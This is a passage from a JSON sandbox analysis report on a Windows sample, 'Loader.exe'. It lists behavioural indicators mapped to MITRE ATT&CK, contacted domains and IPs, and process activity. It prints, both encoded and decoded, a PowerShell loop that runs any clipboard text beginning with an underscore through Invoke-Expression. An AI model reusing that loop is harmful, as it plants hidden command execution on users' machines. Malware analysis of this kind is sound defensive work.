\"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve information about user accounts on a server (API string)","description":"file/memory contains long string with (Indicator: \"NetUserGetInfo\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"NetUserGetLocalGroups\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1087.001","relevance":1,"id":"string-112","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"2.5.29.37\"\n \"2.5.29.35\"\n Potential IP \"3.0.0.0\" found in string \"icrosoft.PowerShell.ConsoleHost,3.0.0.0,,31bf3856ad364e35,MSIL\"\n Potential IP \"4.0.0.0\" found in string \"rsion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" />\", Potential IP \"3.0.0.1\" found in string \"=3.0.0.1\", \"3.0.0.0\", \"192.168.0.2\", Potential IP \"3.0.0.0\" found in string \"ystem.Management.Automation.resources\n3.0.0.0\nen-US\n31bf3856ad364e35\", Potential IP \"3.0.0.0\" found in string \"icrosoft.PowerShell.ConsoleHost.resources\n3.0.0.0\nen-US\n31bf3856ad364e35\", \"2.5.29.31\", \"2.5.29.19\", \"2.5.29.1\", \"2.5.29.15\", \"2.5.4.3\", \"2.5.29.14\", \"2.5.29.32\", Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\", Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\", \"2.5.29.17\", \"2.5.29.10\", \"2.5.4.6\", \"2.5.4.8\", \"2.5.4.7\", \"2.5.4.10\", \"2.5.4.5\", \"2.5.4.11\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$50","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"HTTP/1.0H9\" (Indicator: \"HTTP/1.0\"; File: \"Loader.exe\")\n Found string \"HTTP/1.1H9\" (Indicator: \"HTTP/1.1\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"HTTP/1.1\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"GETs files from a webserver (HTTPS)","description":"GET /awesome_mine HTTP/1.1\nConnection: Keep-Alive\nHost: t.me\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"secure-signal.info\" has high entropy\n Contacted domain: \"pastebin.com\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 1fc1c530fdab845a0a2b05d0b5335bcb\n Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://pastebin.com\"\n Found HTTPS url \"https://go.dev\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"secure-signal.info\" (0 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-4","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://t.me/awesome_mine\n Found HTTPS POST request to https://secure-signal.info/","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"pastebin.com\" (90 days old)\n Short term registered certificate: \"secure-signal.info\" (90 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"104.20.29.150\" on port \"443\"\n HTTPS traffic to \"172.65.251.78\" on port \"443\"\n HTTPS traffic to \"149.154.167.99\" on port \"443\"\n HTTPS traffic to \"172.67.220.227\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on process \"00000000-00005928\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm process \"00000000-00005928\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLEEA1E5585C55F78B5A7D8284DB7CA]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004092.00000001.292655.612A8000.00000004.mdmp\")\n Found string \"B+ncalrpc:[OLEB7DA6B90A91F2452BB4F66DA334E]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004092.00000001.292655.612A8000.00000004.mdmp, 00000000-00004092.00000001.292655.7BAB0000.00000004.mdmp\")\n Found string \"F+ncalrpc:[OLE2C665B95C9ED2B37ACD6E536302C]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004092.00000001.292655.7B864000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE2C665B95C9ED2B37ACD6E536302C]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004092.00000001.292655.7BAB0000.00000004.mdmp\")\n Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004092.00000001.292655.7BB33000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLEB7DA6B90A91F2452BB4F66DA334E]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004092.00000001.292655.7BB33000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"kerberosclient\" (Indicator: \"kerberos\"; Source: \"00000000-00004092.00000001.292655.A51F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"file/memory contains long string with (Indicator: \"RtlGetVersion\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to perform SQL operations","description":"Found string \"\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00004092.00000000.291813.61280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":3,"id":"string-836","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegOpenKey (in long string)\" in file \"Loader.exe\"\n Found registry query API: \"RegQueryValue (in long string)\" in file \"Loader.exe\"\n Found registry query API: \"syscall.RegOpenKeyEx\" in file \"Loader.exe\"\n Found registry query API: \"syscall.RegQueryValueEx\" in file \"Loader.exe\"\n Found registry query API: \"syscall.RegEnumKeyEx\" in file \"Loader.exe\"\n Found registry query API: \"RegQueryValueExW\" in \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\"\n Found registry query API: \"RegGetValueW\" in \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\"\n Found registry query API: \"RegOpenKeyExW\" in \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\"\n Found registry query API: \"RegEnumKeyExW\" in \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to get system information using PowerShell","description":"Process \"powershell.exe\" with commandline \"\"powershell\" -Command \"Get-Process | Select-Object Name\"\" (UID: 00000000-00008248)\n Process \"powershell.exe\" with commandline \"-EncodedCommand dwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsAIAAkAGMAbABpAHAAIAA9ACAARwBlAHQALQBDAGwAaQBwAGIAbwBhAHIAZAA7ACAAaQBmACAAKAAkAGMAbABpAHAAIAAtAGEAbgBkACAAJABjAGwAaQBwAC4AUwB0AGEAcgB0AHMAVwBpAHQAaAAoACcAXwAnACkAKQAgAHsAIAAkAGMAbQBkACAAPQAgACQAYwBsAGkAcAAuAFMAdQBiAHMAdAByAGkAbgBnACgAMQApADsAIABTAGUAdAAtAEMAbABpAHAAYgBvAGEAcgBkACAAJwAgACcAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAYwBtAGQAOwAgAGIAcgBlAGEAawAgAH0AOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAMAAgAH0A\" (UID: 00000000-00005928, Additional Context: \"while ($true) { $clip = Get-Clipboard; if ($clip -and $clip.StartsWith('_')) { $cmd = $clip.Substring(1); Set-Clipboard ' '; Invoke-Expression $cmd; break }; Start-Sleep -Milliseconds 500 }\")","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":1,"id":"target-289","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$51","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"Loader.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"806964ff31e2acc80.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00007308)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"806964ff31e2acc80.exe\" called \"GetUserNameW\" (UID: 00000000-00008272)\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00004092)\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00008248)\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00005928)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$52","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"file/memory contains long string with (Indicator: \"FindFirstFile\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"FindNextFile\"; File: \"Loader.exe\")\n Found reference to API \"syscall.FindFirstFile\" (Indicator: \"FindFirstFile\"; File: \"Loader.exe\")\n Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate objects (Powershell command string)","description":"Found string \"Get-Process | Select-Object Name\" (Indicator: \"Select-Object\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-374","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$53","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query network adapter information (API string)","description":"file/memory contains long string with (Indicator: \"GetAdaptersInfo\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"GetAdaptersAddresses\"; File: \"Loader.exe\")\n Found reference to API \"internal/syscall/windows.GetAdaptersAddresses\" (Indicator: \"GetAdaptersAddresses\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-118","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"file/memory contains long string with (Indicator: \"GetModuleHandle\"; File: \"Loader.exe\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"GetProcAddress\"; File: \"Loader.exe\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$54","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve processes (Powershell command string)","description":"Found string \"Get-Process | Select-Object Name\" (Indicator: \"Get-Process\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-291","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"Found string \"while ($true) { $clip = Get-Clipboard; if ($clip -and $clip.StartsWith('_')) { $cmd = $clip.Substring(1); Set-Clipboard ' '; Invoke-Expression $cmd; break }; Start-Sleep -Milliseconds 500 }\" (Indicator: \"Get-Clipboard\"; File: \"00000000-00005928\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-394","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"file/memory contains long string with (Indicator: \"GetComputerName\"; File: \"Loader.exe\")\n Found reference to API \"internal/syscall/windows.GetComputerNameEx\" (Indicator: \"GetComputerName\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"file/memory contains long string with (Indicator: \"GetModuleFileName\"; File: \"Loader.exe\")\n Found reference to API \"internal/syscall/windows.GetModuleFileName\" (Indicator: \"GetModuleFileName\"; File: \"Loader.exe\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"file/memory contains long string with (Indicator: \"GetEnvironmentVariable\"; File: \"Loader.exe\")\n Found reference to API \"syscall.GetEnvironmentVariable\" (Indicator: \"GetEnvironmentVariable\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the local name for a socket (API string)","description":"file/memory contains long string with (Indicator: \"getsockname\"; File: \"Loader.exe\")\n Found reference to API \"syscall.getsockname\" (Indicator: \"getsockname\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-224","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"file/memory contains long string with (Indicator: \"GetUserName\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"NetUserGetInfo\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"OpenProcessToken\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"LookupAccountSid\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"GetTokenInformation\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"NetGetJoinInformation\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$55","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"Hostname\" (Indicator: \"hostname\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"route\"; File: \"Loader.exe\")\n Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00004092.00000001.292655.A51F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"806964ff31e2acc80.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\"; Key: \"DRIVERDESC\")\n \"806964ff31e2acc80.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0001\"; Key: \"DRIVERDESC\")\n \"806964ff31e2acc80.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"DRIVERDESC\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Retrieves specified items using PowerShell","description":"Process \"powershell.exe\" with commandline \"-EncodedCommand dwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsAIAAkAGMAbABpAHAAIAA9ACAARwBlAHQALQBDAGwAaQBwAGIAbwBhAHIAZAA7ACAAaQBmACAAKAAkAGMAbABpAHAAIAAtAGEAbgBkACAAJABjAGwAaQBwAC4AUwB0AGEAcgB0AHMAVwBpAHQAaAAoACcAXwAnACkAKQAgAHsAIAAkAGMAbQBkACAAPQAgACQAYwBsAGkAcAAuAFMAdQBiAHMAdAByAGkAbgBnACgAMQApADsAIABTAGUAdAAtAEMAbABpAHAAYgBvAGEAcgBkACAAJwAgACcAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAYwBtAGQAOwAgAGIAcgBlAGEAawAgAH0AOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAMAAgAH0A\" (UID: 00000000-00005928)","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":1,"id":"target-477","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Tries to enumerate objects using PowerShell","description":"Process \"powershell.exe\" with commandline \"\"powershell\" -Command \"Get-Process | Select-Object Name\"\" (UID: 00000000-00008248)","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":3,"id":"target-442","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to delete a user account from a server (API string)","description":"file/memory contains long string with (Indicator: \"NetUserDel\"; File: 